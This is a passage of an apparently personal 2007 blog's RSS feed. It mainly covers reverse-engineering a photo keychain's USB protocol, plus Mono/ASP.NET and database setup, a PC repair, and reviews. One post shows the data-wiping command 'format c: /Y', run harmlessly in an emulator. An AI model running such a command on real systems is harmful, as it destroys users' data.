After setting the configuration to 0x01 and the interface to 0x00 the stream of URBs run a number of ABORTS followed by a RESET. All this on the default endpoint 0x00
After the pipe is reset we get a proper pipe handle...
Then there are loads of BULK_OR_INTERRUPT_TRANSFER with various flags and settings, definitely polling.
I think I need to read more of the USB spec, even though it is soooo long.
</description>
</item>
<item>
<title>usb decoding</title>
<pubDate>Wed, 04 Jul 2007 22:00:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#040720072200</link>
<description>
Those differing bytes were
00 00
80 00
00 01
80 01
00 02
a8 02
20 03
84 03
ef 03
which appear to be the 9 different configurations shown in the output from lsusb, as I can see a lot of other directly corresponding data.
</description>
</item>
<item>
<title>slashdot submission for tux droid</title>
<pubDate>Wed, 04 Jul 2007 21:34:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#040720072134</link>
<description>
I ac submitted the following to slashdot, will they accept it ?
<p><a href="http://www.kysoh.com/">Tux Droid</a> is finally on available for <a href="http://www.kysoh.com/tux_order.html">purchase</a> as your <a href="http://www.tuxisalive.com/">hackable</a> Linux fiendly desktop companion.</p>
<p>Wireless thanks to the <a href="http://www.kysoh.com/images/tux4.jpg">fish</a>, he(Tux is a 'he' right?) can talk (TTS), sing (audio streaming), rotate, flap, flash his eyes, react to touch (wing/head) comes with lots of Linux software like an IM announcer, email reader, weather reporter, VOIP and all the software is free (as in beer).</p>
<p>A large <a href="http://www.tuxisalive.com/">community</a> supports both users who want to just plug &amp; play and those who want to rewrite the firmware and create their own <a href="http://www.kysoh.com/">Tux Droid</a> applications.</p>
<p>At only 79 euros it even comes with remote control that can act as a talking calculator, but does it run on Windows ? <em>No</em></p>
<a href="http://www.tuxisalive.com/media/videos">see it in action</a><br />
</description>
</item>
<item>
<title>more USB decoding, 1st ten URBs</title>
<pubDate>Wed, 04 Jul 2007 21:32:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#040720072132</link>
<description>
read more of the USB 2.0 spec and now I know things like "did you know that you can only have seven USB hubs in series" but nothing directly applicable to my project.
On the other hand I did grep the function or the URBs (thats USB packets to you) from my usbsnoopypro logs and nearly all of them are INTERRUPT checks, it seems all the packets are a simple repeated polling.
This was further proved by refining my bash skills and reducing the number of packets that are truly unique to just 138.
But before I tackle the big question I wanted to understand the first ten URBs that are generated when plugging in the device without any software running.
First off there are five distinct communications, one out going and one in coming.
GET_DESCRIPTOR_FROM_DEVICE
GET_DESCRIPTOR_FROM_DEVICE (repeat)
GET_DESCRIPTOR_FROM_DEVICE (different flags set)
SELECT_CONFIGURATION
SELECT_INTERFACE
An interface is a collection of endpoints in a configuration. A good example of a configuration is one with mains power and one without, the device may need to use slower speeds. The interface is like a function of the device, its a bit simplistic but a printer fax could have an interface for the printer and an interface for the fax, these in turn have multiple endpoint which are the options of communicating, i.e. send a message, send large data stream etc.
In the devices response to the third GET_DESCRIPTOR_FROM_DEVICE there was a load of data.
I am sure the USB will (eventually) tell me what it all means but I did note that it was repeating at 58 bytes and that only the 14th/15th bytes changed.
</description>
</item>
<item>
<title>USB spec and eh ?</title>
<pubDate>Tue, 03 Jul 2007 20:47:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#030720072047</link>
<description>
Well I read the Linux Device driver chapter 13 and all it did is reinforce my view of how USB is "supposed" to work. So why did I end up with 65 thousand packets ? 
1500 for a simple connect interrogate number of free slots and disconnect ?
I have also started reading the official USB spec, only 650 pages.
642 to go :)
</description>
</item>
<item>
<title>Book The Skein of Lament Chris Wooding</title>
<pubDate>Mon, 02 Jul 2007 22:00:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#020720072200</link>
<description>
While I am in a bloggy mood here is a book review.
<a href="http://www.jumpstation.co.uk/flog/Jul2003.html">a few years ago</a> I read and enjoyed book one of Chris Wooding's "The Braided Path", so when I saw numbers two and three on amazon I jumped at the chance to continue the fantasy adventure.
"The Skein of Lament" continues Chris's outstanding story telling. I just love the way the story is SO strong and twisted, constantly weaving in and out of what you expect.
If you like fantasy like LotR then this story is for you, I can not wait until I read book three. But will I read it straight away or ponder something else first ?
</description>
</item>
<item>
<title>Serious Sam completed with 150 lives no cheating</title>
<pubDate>Mon, 02 Jul 2007 21:50:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#020720072150</link>
<description>
Delays were also due to "Serious Sam" one of my xbox bargains, but I have now completed that (with 150 lives, no cheating).
Amazing game, I look forward to Serious Sam II which is in my unopened collection somewhere.
This game is seriously stupid, wave upon wave of mindless enemies silly power ups and secrets like the Ed209 that is embedded in a tree or the hidden detonator that destroys half the map.
Love it !
</description>
</item>
<item>
<title>USB device driver 64 thousand files</title>
<pubDate>Mon, 02 Jul 2007 21:47:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#020720072147</link>
<description>
You maybe wondering why no more blogs on my USB project, well its a lot harder than it first appears, but I do not plan on giving up on it any time soon.
I took my 9 snoopy logs (that had been dumped to text) and split each file into a file for each packet.... 64 thousand files later....
A quick bit of Bash and I could half the average number of packets per capture from 3500 to 1800 using diff and missing out the first few lines that had the packet its in.
I found some great USB info in chapter 13 of the <a href="http://www.oreilly.com/catalog/linuxdrive3/">Linux Device Drivers, Third Edition</a>
Use the link to openbook to save the entire chapter as a PDF.
</description>
</item>
<item>
<title>9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value</title>
<pubDate>Tue, 26 Jun 2007 21:32:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#260620072132</link>
<description>
Ok I looked at the output from <code>lsusb -v</code> in more detail and it appears that most of it is duplicates.
There are 9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value, these go from 0 - 1007
<ul><li>0</li><li>128</li><li>256</li><li>384</li><li>512</li><li>680</li><li>800</li><li>900</li><li>1007</li></ul>
Those values are decimal.
There are 7 end points:
2 Bulk IN
2 Bulk OUT
1 Interrupt
2 Isochronous
The 9 interfaces above are on one of the Isochronous endpoints.
Interface descriptors, endpoints, isochronous wassits ?
No I do not really know what I am talking about but maybe as I get further into this project I will find out and let you know.
</description>
</item>
<item>
<title>I hear by claim this device in the name of libusb</title>
<pubDate>Mon, 25 Jun 2007 22:12:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#250620072212</link>
<description>
That quick bit of code worked and I can now claim the device, but now what ?
<code>lsusb -v</code>returns so much on this one device compared to the keyboard or mouse :S
</description>
</item>
<item>
<title>Doh! those in USB input environments should not rmmod ohci_hcd</title>
<pubDate>Sun, 24 Jun 2007 22:30:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#240620072230</link>
<description>
Plugging and unplugging the KeyPic usb device from my Linux box caused the USB sub system to have an 'issue'. Everything else USB worked but the KeyPix gave read errors and was not even assigned a place in the /proc/bus/usb folders.
Sooo, I <code>rmmod ohci_hcd</code> as I did so I realised that my USB keyboard and mouse may be affected...
Two days later I ssh'd backing to the machine and added the module back in, and my keyboard and mouse were reborn.
Oh, I did try a PS2 keyboard but it would seem that it has to be there at boot as it was not recognised.
</description>
</item>
<item>
<title>Keypic day 4 more strugle and strife</title>
<pubDate>Fri, 22 Jun 2007 22:22:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#220620072222</link>
<description>
Keypic Day 4:  Although its not in the docs 32mb is the limit for the Qemu TFTP server.
Installed the free ZIP program http://www.7-zip.org/ unpacked the usblogdump.tgz and created a new archive that is only 700k, transfers no problem.
Builds no problem, decodes snoopy logs no problem. 
just need to transfer these files out to the host machine surely that will be easy ?
Nope, TFTP server is one way. Windows has SMB shares so SMB should work, nope and all the tutorials are for connecting to Windows as the guest environment.
In the end I get a trial version of winimage and extract the files directly from the Qemu virtual hard disk. I could have also uploaded them to rapidshare, bitbucket etc.
The decoded plain text files are not easy to read and there lots of records, nothing makes and logical sense. For instance connecting the device and firing up the software gives 2000+ packets and all it does is read the number of images already on the device. Try it twice and get a different 2000+ packets.
Still I did find this nugget http://www.linuxjournal.com/article/7466 
USB support does not work for Qemu when windows is the host, so I tried vmware player but the play has no options and I did not want the hassle of the trial version.
</description>
</item>
<item>
<title>keypic digital key ring and log run around</title>
<pubDate>Wed, 20 Jun 2007 22:29:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#200620072229</link>
<description>
Keypic Day3: need to analyse the USB logs from USBSnoopyPro.
One: open in GEdit, nope none ASCII
Two: reload .USBLog files back into snoopy and export as .XML, nope export function is flaker than a popular chocolate found added to ice cream cones.
Three: look for a convert, found USBLogDump. Linux only so install Qemu and DamnSmalLinux.
To get the USBLogDump file to the virtual machine make sure QEMU is run with internal TFTP server enabled, but DSL does not have TFTP client. Find one, downloaded it, no gcc so can not build it.
Add a build environment, build it start downloading the file, times out, set time out try again, times out and has only copied 32MB of a 40MB file. Set timeout to 99999 and go to a meeting at another office, come back 3 hours later, not finished, kill it and its still only 32MB, AGHHHhhhh.....!
Now its to late to load in on to me Gentoo box, maybe tomorrow....
</description>
</item>
<item>
<title>Windows wireless ghost in the keyboard</title>
<pubDate>Wed, 20 Jun 2007 22:18:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#200620072218</link>
<description>
Don't you just love Windows;
I was trying to convince Outlook that there were new mails to download (at work) and the calculator popped up. Odd but I closed it and carried on working.
Then it happened again about ten minutes later and just as I am about to tell the others in the office a new browser window opens.
First thoughts are that the machine has been compromised, but a few checks and all seems well then the machine goes into hibernation.
Now I am really worried, the only thing I had done prior to this was attaching a wireless mouse I had spare at home. But this wireless mouse comes with a wireless keyboard that I had not brought in and I had not plugged in the keyboard part of the receiver. Seems that the wireless receiver had told windows it might handle a keyboard and had setup the &quot;Application keys&quot;, you know the extra keys on some keyboards above the F-Keys that open calculator, a new browser window or set the computer to Hibernate.
I tried to install the Belkin drivers to see if that would fix it (they had a mouse only option) but the file said I was not running windows and the web site said they had not been updated since 2002.
Enough people had seen the problem on the internet with a variety of devices, even monitors and the solution was to delete the registry keys for these extra functions.
That done, I had no more calculator or browser pop-ups and the machine did not spontaneously enter hibernation but, now random letters or numbers appeared about once an hour :(
I gave up and brought the keyboard in and now it all works well, so much for the ghost in the machine.
</description>
</item>
<item>
<title>work me like a mule or I will !</title>
<pubDate>Tue, 19 Jun 2007 22:10:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#190620072210</link>
<description>
I <a href="http://www.jumpstation.co.uk/flog/Jun2007.html#090620071127">mentioned</a> not so long ago that there was no work at my new job.
Well we are into week three now and I have only done what I would call on morning of work and that was helping out someone else as opposed to something assigned to me.
Now do not get me wrong most of the first week revolved around rebuilding machines, installing software, installing updates and configuring applications. Then there was all the security procedure reading I had to do (there was a test) and I had to watch some very cheesy American safety videos.
But leaving me to my own devices (and the other new guy) I did get some time (OK a lot of time) to play with my own ideas.
Idea one, a Vista gadget that was a Kanji date clock, needs some tweaking but this was done then animated and now wants some clever code to make the animation look better.
Idea two: after being forced to use Windows messenger write a drag and drop app to update the personal message.
Done and worked exactly to spec only no one would find it useful as it only saves one second off the task of updating your message and thats if you have the app open.
Phase two write a console version that use a source file and updates periodically. Done, but seems silly to leave a console window open for it and I did not want to have to write a server.
Phase three write a windows app that sits in the system tray and periodically updates the message.
Done. Works with XML, has settings window, custom icon, about window, can set XML file and delay, if file is updated the program notices, saves settings to registry and allows sequential and random movement through the source file.
Not to mention the app I wrote just to do some regular expressions with http://en.wikipedia.org/wiki/List_of_Latin_phrases_%28full%29 to pull and format just the quotes and the translations.
All of these in C#
Idea three: create a nice dual screen backdrop in blender, took about ten mins, just a tube elongated with a smaller transparent version of itself inside and a few lights, very nice ?
<img src="tube_mini.jpg" alt="original background image" style="float:right; padding:5px">
</description>
</item>
<item>
<title>KeyPic digital photo key chain day 1 and 2</title>
<pubDate>Tue, 19 Jun 2007 21:51:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#190620072151</link>
<description>
Fathers day: I get (amongst other things) a KeyPic Key Chain http://www.taoelectronics.com/keychain_files/square14.html is it my birthday or something ?
Allows 56 96x64 (4096 colours) images to be uploaded via USB and then plays them back one at a time or as a slideshow.
But does it work with Linux ? hell no!
Day 1: insert device and run <code>dmesg</code>
and all I get is  note about a new device, nothing else 
but it is happily re-charging its on-board battery.
so run <code>lsusb</code> and get <code>ID 093a:02f Pixart Imaging Inc</code>
A quick google shows nothing for the device ID but the manufacturer ID (093a) does show Pixart are responsible for a number of webcam/camera devices.
There website http://www.pixart.com.tw/ has nothing about the keychain or anything remotely simular, I email them but do not expect a response.
Day 2: download the USB capture utility http://usbsnoop.sf.net/ install it onto Sarah's laptop run the windows only software (very limited) and capture loads of logs, starting with connection then issuing commands etc.
Day 3: ...
</description>
</item>
<item>
<title>SEGA! Free the Planet Ring!, so commands your subjects.</title>
<pubDate>Sun, 17 Jun 2007 11:58:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#170620071158</link>
<description>
SEGA! Free the Planet Ring!, so commands your subjects.
http://www.petitiononline.com/pltring/petition.html 
</description>
</item>
<item>
<title>Alex is now crawling, my wii is in danger</title>
<pubDate>Sat, 16 Jun 2007 21:36:13 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#160620072136</link>
<description>
Alex is now crawling, my wii is in danger, not to mention anything else located at floor level.
</description>
</item>
<item>
<title>Steven King Cell 2 out of 5</title>
<pubDate>Tue, 12 Jun 2007 22:22:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#120620072222</link>
<description>
I think I am through with Steven King. I have finished reading Cell and found it just to formulaic (is that a word?).
Not only was it to simular to some of his other work but it felt forced as if he wrote it just because his publisher was pushing him.
It's about a signal that reverts humans back to their primitive state and is transmitted by cell/mobile phones. So far so good, but then, after much in fighting an general gore they start collecting boom boxes, stereos and batteries.
The reasoning for this is that in their simple state, super natural abilities have been unlocked and a 'hive' collective mind has formed.
Then they start invading dreams and floating, hmmmm.
To be fair I have read most of his horror collection and found most to be highly engaging, different and clever, he was due a dud.
</description>
</item>
<item>
<title>Give me work or I will create it !</title>
<pubDate>Sat, 09 Jun 2007 11:27:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#090620071127</link>
<description>
While awaiting access to any systems I could actually work on I wrote a Vista gadget, turns out they are just HTML and JavaScript.
then we uninstalled Vista so I am now using windows server 2003 so I am developing literally in plain old HTML+JavaScript.
Although it currently uses plain text I have started work on the graphics that will make this gadget a Kanji clock, with bottom to top/right to left display.
The next step is to animate the character I had created.
Also everyone uses messenger so I wrote a quick C# app that you can drag and drop text onto that then updates your messenger personal message.
</description>
</item>
<item>
<title>glitch</title>
<pubDate>Wed, 06 Jun 2007 22:23:13 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2007.html#060620072223</link>
<description>
OK I think I have got it this time.
This time I will blame ... learning Japanese, screws with your brain o_O
</description>
</item>
<item>
<title>glitch</title>
<pubDate>Wed, 06 Jun 2007 22:21:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/</link>
<description>
Hmmm, small glitch not helped by my obsessive playing of serious sam yet another classic xbox game I got cheap and am now hooked on.
</description>
</item>
<item>
<title></title>
<pubDate></pubDate>
<link>http://www.jumpstation.co.uk/flog/</link>
<description>
we have been on holiday in Cornwall, surprisingly good weather, Alex ate sand, which is always good.
Also I started my new job this week, and it appears I will be working with (not for) Microsoft. I got to pee in a Microsoft toilet today and it was very satisfying ;)
</description>
</item>
<item>
<title>MySQL and mono and GAC</title>
<pubDate>Tue, 22 May 2007 20:36:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#220520072036</link>
<description>
I emerged MySQL and managed to get the inbuilt (out of date) mono MySQL connector to work.
The secret is to use <code>SET PASSWORD FOR 'mysql'@'localhost' = OLD_PASSWORD('mysql');</code>
Where you already had a 'mysql' user created, otherwise you get an error <code>Unhandled Exception: ByteFX.Data.MySqlClient.MySqlException: Client does not support authentication protocol requested by server; consider upgrading MySQL client
</code>
Or downgrade to an older (pre 4.1) version of MySQL.
I then tried to get the latest MySQL .NET connector from MySQL only to find the latest one is distributed as an .MSI Microsoft installer file :p
I managed to get the previous version (5.0) in source form that includes the .NET dll, but installing it did not seem to work.
I had to create a bin folder in my current App folder and copy the .DLL in there then reference it directly, the GAC version was never found.
Now to try both those in ASP.NET and then to try and get .NET membership working in both PostgreSql and MySQL.
</description>
</item>
<item>
<title>Psychonauts and Destroy All Humans 2</title>
<pubDate>Tue, 22 May 2007 20:29:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#220520072029</link>
<description>
I had been playing Psychonauts and Destroy All Humans 2, but I have finished them both now.
It is easy to see why Psychonauts got 9/10 from most reviewers and it is a real pity that it came so late in the Xboxs life, most xbox owners will have missed it :(
It took all the best bits from Mario 64/Sunshine and Conkers Bad Fur day, seriously funny and fun !
I also enjoyed Destroy all humans 2, again well thought out, taking the best bits from the first installment and only making it better/more fun.
But I did fail to complete ONE odd job mission and that is because of a bug that meant I could NEVER complete it :( still the rest was very enjoyable.
</description>
</item>
<item>
<title>ASP.NET books</title>
<pubDate>Tue, 22 May 2007 11:01:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#220520071101</link>
<description>
While traveling by train to various interviews I read (speed read) <a href="http://aspnetcookbook2.dominiondigital.com/">ASP.NET 2.0 Cookbook</a> from OReilly and <a href="http://www.sitepoint.com/books/aspnet2/">Build your own ASP.NET 2.0 Web site</a> from Sitepoint.
Both took very different approaches, the Cookbook had handy short recipes that could be expanded on easily and get you out of trouble. The Build you own site was more of a story and was very easy to just read like a book from beginning to end.
The authors concentrated on a single web site with lots of features building up as they went along. This added a lot of logical sense to the proceedings.
Both books handled C# and VB.NET and it was a relief to see that the two languages are so simular especially in the ASP.NET environment.
Both strongly recommended.
</description>
</item>
<item>
<title>Mono plays nicely with PostgreSQL for ASP.NET</title>
<pubDate>Wed, 16 May 2007 15:57:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#160520071557</link>
<description>
Well installing postgreSQL was pretty easy following this guide http://gentoo-wiki.com/PostgreSQL and as it is a wiki I even added some handy amendments.
The next step is the one I feared the most linking the database to .NET but mono ships with NpgSQL and the C# test they provide on http://gentoo-wiki.com/PostgreSQL is great to test and check its working.
I created an aspx C# test page mirroring the .EXE example but could not create an account to add it to the page. After a quick chat on their IRC channel I posted the code to the documentation mailing list.
Next is to also get MySQL working with mono .NET
</description>
</item>
<item>
<title>Mono compiler errors and xsp2 wants more to change</title>
<pubDate>Sun, 13 May 2007 14:09:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#130520071409</link>
<description>
When using Mono/xsp2 remember that the .aspx file must change for the new version to be loaded, changing the code behind file is not enough. Took me a few tries to wok that one out.
Also the mono compiler messages are annoyingly vague and being used to having any errors pointed out before trying to load a page hides you from the hand coded runtime compiler errors.
Never mind, it worked in the end, just using XML as a data source still need to investigate the best way to install postgreSQL and MySQL.
</description>
</item>
<item>
<title>Blending key frames for LUG</title>
<pubDate>Sun, 13 May 2007 14:02:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#130520071402</link>
<description>
I got a chance to follow up the <a href="http://www.jumpstation.co.uk/flog/Apr2007.html#120420071543">apple blending</a> from last months LUG meeting with a requested look at animation in Blender.
We got through basic key framing, mesh deformation and rigging. It would of helped if after explaining the fundamentals about interpolation (computer generates frames between key frames) that I had remembered to add a key frame each time I changed something.
Never mind, it was overall a success, I just hope it did not bore anyone who was not interested in 3D animation.
</description>
</item>
<item>
<title>Easy peasey getting Linux to run ASP.NET 2.0</title>
<pubDate>Tue, 08 May 2007 20:17:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#080520072017</link>
<description>
quick broadcast.
Getting ASP.NET running with C# on Linux is as easy as downloading the <a href="http://www.mono-project.com/Downloads">installer</a>. Then running the installer and choosing the default directory (I tried a custom folder and it went a bit 'funny'), allow the setup to alter your profile to include the path and prepare.
Cos the PATH has been altered you have to start a new shell or <code>source ~/.bashrc</code>
Then gmcs your favorite .NET 2.0 .cs file just to test the 2.0 compiler then mono the .exe produced. That confirms you can build and execute 2.0 .NET programs.
Now one thing I was not happy about was the thought of installing apache and then ASP.NET 2.0 not working, so it is great to see the mono project thought to include the <a href="http://www.mono-project.com/Xsp">xsp/2</a> all in ASP.NET 2.0 web server (not for production environments but ideal for testing.
<code>cd [install-path]/lib/xsp/test
xsp2</code>
and the server is running on port 8080 and has a number of example web pages showing the code working.
Now my next task is to get it all to work with MySQL or postgreSQL.
</description>
</item>
<item>
<title>radio silence</title>
<pubDate>Tue, 08 May 2007 09:57:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2007.html#080520070957</link>
<description>
Currently maintaining radio silence.
</description>
</item>
<item>
<title>Steamboy Anime DVD review</title>
<pubDate>Thu, 26 Apr 2007 14:17:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#260420071417</link>
<description>
It has been sitting on my desk for a while so it is time to quickly review "Steamboy" Anime DVD. 
First up I want to point out that this is the standard edition and was cheap, but that does not excuse the lack of a Japanese voice track, though there is a Hindi one.
The special edition version which includes a book does have a Japanese voice track.
Some of the English voices were not bad, unfortunately the others were. I will be more careful in my Anime selection to ensure the original voice track is included.
Its a bit of an odd tail, a boy who enjoys tinkering with steam powered machines is contacted by his grandfather by post. The package contains a steamball, under huge pressures it could power some huge steam castle ...
The battle is on to recover the steamball and unlock its secrets, empowering the owner to start a war in Victorian England.
Some nice animation, but ultimately long and drawn out. Not recommended.
</description>
</item>
<item>
<title>Ghost retores from 2006, only a year out of date</title>
<pubDate>Thu, 26 Apr 2007 14:07:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#260420071407</link>
<description>
OK just a quick note, during the Ghost restore process the references to Feb 2006 seemed to match the 2007 dates the machine had gone down.
But in fact the restore point was Feb 2006, no idea why, loads of space left on the drive, good thing I had backed all the C: files I could to an external hard disk first.
</description>
</item>
<item>
<title>windows XP machine ran at 236 degrees ?</title>
<pubDate>Thu, 19 Apr 2007 21:38:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#190420072138</link>
<description>
I have been busy with Alex and job hunting, but I did try fixing my father in-laws windows XP machine.
First off it would only boot one in five tries, usually hanging at the POST. the Knoppix live CD gave me the memtest86 option so I ran it for a few hours and one of the DIMMs was faulty, so I replaced it.
Machine still had POST hanging problems but they were more consistent, in the end I shorted the CMOS and everything seemed much better, but windows hung on starting, even safe mode hung when selecting the user. But Admin in safe mode worked, tried defrag and it said to run scan disk, scan disk said to restart with the windows CD and run scandisk. Scandisk hung, so I downloaded a live CD with Maxtor's/Seagate's hard drive checker.
The initial screen told me the hard drive had exceeded its heat tolerance at 236 degrees, which is odd cos the other hard drive in the machine said its max temperature was 40 degrees.
The test rand for a while and told me there were 99 errors so I backed up everything from the drive using Knoppix live CD and a USB external hard drive. All went well until I tried to copy the 50gb backup file off the second hard drive.
After 3 days I canceled the copy, it appears that the USB hard drive was NTFS and the source drive was NTFS and large files are not a good way to go with NTFS-3g which is odd cos it had copied a total of 50gb in individual files no problem off the NTFS bad drive to the same USB drive.
Still I bought a new hard drive 350gb for&pound;50 from PC World (very good price for SATA) and whacked it in, now I thought the fun was to begin.
But my father inlaw had Norton Ghost 10 installed so I tried the recovery live CD.
It took along time to boot but after a while it had a basic version of windows running (or it looked like it did) and I just choose find restore points/restore and after about an hour (I had it do a system check) I rebooted and everything was as it was before the original problems, very impressive.
</description>
</item>
<item>
<title>Blending apples at the LUG</title>
<pubDate>Thu, 12 Apr 2007 15:43:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#120420071543</link>
<description>
I made it to the LUG last night even though I was not feeling 100%. I wanted to go because I was doing a small presentation on Blender the 3d modeling system.
Sometimes we have a projector to help with demos but none was available this week so I took an old 19&quot; monitor but it turns out the laptop I took can only use either the monitor or the LCD not both, but strangely windows was able to show a 800x600 image on the monitor and 1024x768 on the LCD, the monitor then scrolled when I moved the mouse. Maybe I could have configured Xorg, I always thought these laptops did the second monitor in hardware.
I was trying to run Blender in Knoppix 5.1.1 but it was flaky and I ended up using Blender in windows, I think it was because I was running the live CD and then running Blender directly off a USB memory stick.
The demo went well, but the result did not look quite right and I forgot to take the "here is one I created earlier" image, so here is to original "apple storm".<a href="cone_apples_large.jpg"><img class="intext" src="cone_apples_thumb.jpg" alt="apple storm" /></a>
I must have done something right though, I got a free drink and have been invited to do a follow up on Blender animation.
The finale of the evening was a screening of <a href="http://www.elephantsdream.org/">Elephants dream</a> which is impressive but confusing.
</description>
</item>
<item>
<title></title>
<pubDate>Wed, 11 Apr 2007 09:18:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/</link>
<description>
When I used to use Debian many years ago, local mail just worked. Any system emails were available by running mutt as the root user.
With Gentoo I get the file dead.letter on both the local user and roots home folders.
Turns out Gentoo does not have any mail stuff installed by default, but a quick emerge of postfix and some config file tampering and now all my system mail can be read in KMail by my local user !
http://gentoo-wiki.com/TIP_Postfix_Setup_for_Local_Mail_Only
http://www.linuxquestions.org/questions/showthread.php?t=542393
</description>
</item>
<item>
<title>dead.letter fix via postfix</title>
<pubDate>Wed, 11 Apr 2007 09:17:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#110420070917</link>
<description>
When I used to use Debian many years ago, local mail just worked. Any system emails were available by running mutt as the root user.
With Gentoo I get the file dead.letter on both the local user and roots home folders.
Turns out Gentoo does not have any mail stuff installed by default, but a quick emerge of postfix and some config file tampering and now all my system mail can be read in KMail by my local user !
http://gentoo-wiki.com/TIP_Postfix_Setup_for_Local_Mail_Only
http://www.linuxquestions.org/questions/showthread.php?t=542393
</description>
</item>
<item>
<title>Home from the hospital not dead yet</title>
<pubDate>Mon, 09 Apr 2007 22:15:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2007.html#090420072215</link>
<description>
Don't you just love the Easter Holidays ?
Relaxing, watching a DVD, the uncontrolled shivering followed by the inability to breathe.
Well I had had a annoying stomach bug for less than 24 hours what did I expect ?
Not to be carted down the stairs in a dressing gown by paramedics and put on oxygen on the back of an ambulance and rushed (I am proud to say lights and sirens were used) to hospital.
Although I remained conscious all this time I had my eyes closed and my brain seemed to be far away.
I have only a few fleeting memories but it all went down something like this...
Monday-lunch, a nice chicken pasta salad from Marks&amp;Spencers.
18:00 I am on the train home, slight travel sickness, nothing to be concerned about.
19:30 Neighbors come for roast dinner, before it starts I barf up the chicken pasta and feel pretty good.
Tuesday morning, I am sick, nothing out of the ordinary, but I need the day off work and I do not feel like doing much of anything, least of all eat.
But under strict instructions try and drink as much water as possible.
14:00 Wrapped up in bed watching "Steam Boy" Anime DVD (review soon).
15:00 Start to feel cold, worse than normal feverish cold.
15:30 I am shivering uncontrollably, moaning and Sarah is so worried she calls the on-call Doctor.
Before the Doctor gets to the house I start throwing up in an unpleasant manor and 999 is called.
Doctor arrives and after finding my blood pressure low and dropping, contacts the ambulance and asks them to hurry up.
Ambulance crew get me into a wheel chair and carry me downstairs, load me into an ambulance and start me on oxygen.
Not sure what happens but in the next 8 hours I will be x-rayed twice and transfered twice, where was my brain ?
At some point a drip is put in and then continuously replaced for the next 56 hours.
The next day Wednesday is another blur, but I work out I have 12 needle holes in me, from different tests and failed vein sightings.
Apparently when you are as dehydrated as me, all your veins hide.
The drip fails and must be resighted to the other arm, woohoo :(
Thursday and I can start to enjoy the stigma of being branded infectious, private side room, own TV, but sleep through most of it.
I convince the medical staff to remove the drip by drinking and eating everything given to me, but they leave in the cannular (the bit embedded in my arm).
Friday, am finally awake and looking around, tired but alive, still not well enough to be bored.
The ECG sticky pads from A&amp;E are starting to eat my skin, turns out they should have been removed days ago.
Saturday, start to get bored (a sign I am getting better).
Sunday, go home !
Monday, write this.
</description>
</item>
<item>
<title>monster cv calls me all day</title>
<pubDate>Thu, 29 Mar 2007 21:21:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#290320072121</link>
<description>
I uploaded my cv to monster.co.uk yesterday and I have non stop calls all day today.
After two years of rolling contracts working on various projects its is finally time to move on, well in a couple of weeks.
</description>
</item>
<item>
<title>8086 emulator in Java applet, cool .....</title>
<pubDate>Tue, 27 Mar 2007 20:24:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#270320072024</link>
<description>
Have you seen the 8086 emulator in a Java applet ?
http://it.slashdot.org/article.pl?sid=07/03/24/1840256 it runs FreeDos and you can play games in it !
I tried <code>format c: /Y</code> and got a blank hard drive, refreshing did not bring it back, I had to exit FireFox and restart it !
I have seen Java applet spectrum emulators before but 8086 is a real achievement.
http://www.spectrum.lovely.net/
</description>
</item>
<item>
<title>RSS feed is fixed for umpteenth time</title>
<pubDate>Tue, 27 Mar 2007 20:19:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#270320072019</link>
<description>
The rss feed is a mess, I used &gt; redirects instead of &gt;&gt; so bits got over written and then I failed to close the date tags, and its all because of copying and pasting other lines.
Doh !
</description>
</item>
<item>
<title>not dead yet</title>
<pubDate>Tue, 27 Mar 2007 19:45:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#270320071945</link>
<description>
Well the Doc says its unlikely to be food poisoning, more likely to be a viraliant bug and has put me on super strong anti biotics.
First meal in a week, fish finger sandwiches and boy were they good :p
</description>
